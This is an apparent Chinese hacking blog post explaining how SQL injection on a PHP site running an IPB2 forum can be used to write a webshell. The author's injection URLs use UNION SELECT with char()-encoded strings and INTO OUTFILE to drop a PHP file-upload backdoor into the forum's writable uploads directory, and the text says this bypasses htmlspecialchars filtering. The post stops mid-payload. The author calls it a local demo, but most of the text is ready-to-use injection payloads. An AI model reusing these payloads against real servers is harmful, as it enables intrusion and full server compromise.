我前段时间写了一篇《MySQL注入中导出字段内容的研究——通过注入导出WebShell》,是查询数据然后在生成文件的,现在我发现其实不少PHP程序,比如IPB就是把数据处理过了,再插入,一般是htmlspecialchars()之后,插入数据,所以利用该文的方法,就行不通了,即使把webshell的代码插入数据库,生成出来的也是被处理过的代码。用不了。
近段时间在测试一个PHP网站的时候,由于在load_file的时候,看不到文件的内容,所以我就怀疑是不是字段的原因,因为那些全部是int类型的,还有少数是VARCHAR的,我当初以为是因为这个原因,其实后来进入以后才发现是没有FILE的权限,我不断的换URL提交(注意,写文章的时候,该网站已经修补了漏洞,现在是本地演示):
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(47, 104, 111, 109, 101, 47, 119, 119, 119, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104,112)
屏幕上显示了:
/home/www/config.php
路径没错啊,文件也存在啊,难道没有权限?暂时放下这个,这个站点有可写的目录,是ipb2的论坛,/ipb2/uploads这个目录是要设置成可写的,上传附件才能正常使用,我就想利用插数据,导出文件的方法,因为我看了phpinfo(),magic_quotes_gpc 是关闭的,所以用into outfile没有问题,然后在本地测试了一下,发现提交的代码:
变成了:
多提交几个地方,均被做了处理,看来这样我的这个思路又不行了,突然想到刚才看路径的时候,能用char()函数输出字符串,那我能不能直接写上传代码?
这个转换为10进制是这样的:
char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62)
我马上提交:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62)
屏幕并没有显示出我们想要的东西,我查看源代码,发现
这个代码老老实实躺在里面,如图:
之所以看不见,是因为把“<”和“>”之间的东西当成HTML代码解析了,这么说是可行的!这样的好处和插数据,导出文件相比好处在于:
不用插入数据,因此不用考虑数据类型和长度,也不怕做处理。
只用知道一个数据表就可以使用into outfile了,无需知道字段。
因为之前,我猜到一个user表,我也不用去知道字段了,有字段作为查询条件只是为了防止数据库很大,导出所有数据时很慢的情况,我现在马上就提交:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62) from user into outfile '/home/www/ipb2/uploads/upload.php'/*
马上查看,如图:
注意:因为我这里说是用char()这个函数写的。所以就用这个来说明了。既然能用单引号就没必要用CHAR函数了写东西了。可以直接这样:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, '